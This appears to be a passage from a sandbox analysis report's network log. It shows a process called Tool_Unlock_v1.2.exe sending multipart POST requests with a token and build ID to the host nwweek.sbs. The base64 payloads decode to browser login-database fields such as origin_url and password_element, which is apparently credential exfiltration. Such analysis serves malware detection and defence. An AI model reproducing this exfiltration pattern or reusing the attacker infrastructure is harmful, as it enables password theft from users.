2024-12-29 04:45:38 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 4b 77 51 47 46 7a 38 5a 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpKwQGFz8ZAQBpbmRleHNxbGl0ZV9h
2024-12-29 04:45:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:38 UTC	3313	OUT	Data Raw: 6b 5a 58 68 69 63 6d 56 68 59 32 68 6c 5a 42 52 44 55 6b 56 42 56 45 55 67 53 55 35 45 52 56 67 67 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 64 47 46 69 62 47 56 66 61 57 35 6b 5a 58 67 67 54 30 34 67 59 6e 4a 6c 59 57 4e 6f 5a 57 51 67 4b 48 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 55 70 4c 78 41 47 46 30 4d 64 41 51 42 70 62 6d 52 6c 65 48 4e 78 62 47 6c 30 5a 56 39 68 64 58 52 76 61 57 35 6b 5a 58 68 66 59 6e 4a 6c 59 57 4e 6f 5a 57 52 66 4d 57 4a 79 5a 57 46 6a 61 47 56 6b 45 34 49 66 44 77 63 58 48 52 30 42 68 42 46 30 59 57 4a 73 5a 57 4a 79 5a 57 46 6a 61 47 56 6b 59 6e 4a 6c 59 57 4e 6f 5a 57 51 53 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 47 4a 79 5a 57 46 6a 61 47 56 6b 49 43 68 31 63 6d 77 67 56 6b 46 53 51 30 68 42 55 69 42 4f 54 31 Data Ascii: kZXhicmVhY2hlZBRDUkVBVEUgSU5ERVggYnJlYWNoZWRfdGFibGVfaW5kZXggT04gYnJlYWNoZWQgKHVybCwgdXNlcm5hbWUpLxAGF0MdAQBpbmRleHNxbGl0ZV9hdXRvaW5kZXhfYnJlYWNoZWRfMWJyZWFjaGVkE4IfDwcXHR0BhBF0YWJsZWJyZWFjaGVkYnJlYWNoZWQSQ1JFQVRFIFRBQkxFIGJyZWFjaGVkICh1cmwgVkFSQ0hBUiBOT1
2024-12-29 04:45:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:39 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49857	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:40 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----0R1N7YUAS0ZU37QQQI5P User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 262605 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 52 31 4e 37 59 55 41 53 30 5a 55 33 37 51 51 51 49 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 30 52 31 4e 37 59 55 41 53 30 5a 55 33 37 51 51 51 49 35 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 30 52 31 4e 37 59 55 41 53 30 5a 55 33 37 51 51 51 49 35 50 0d 0a 43 6f 6e 74 Data Ascii: ------0R1N7YUAS0ZU37QQQI5PContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------0R1N7YUAS0ZU37QQQI5PContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------0R1N7YUAS0ZU37QQQI5PCont
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2024-12-29 04:45:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49861	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:41 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----A16890ZCT2V3E3OP8QQQ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 31 36 38 39 30 5a 43 54 32 56 33 45 33 4f 50 38 51 51 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 41 31 36 38 39 30 5a 43 54 32 56 33 45 33 4f 50 38 51 51 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 41 31 36 38 39 30 5a 43 54 32 56 33 45 33 4f 50 38 51 51 51 0d 0a 43 6f 6e 74 Data Ascii: ------A16890ZCT2V3E3OP8QQQContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------A16890ZCT2V3E3OP8QQQContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------A16890ZCT2V3E3OP8QQQCont
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
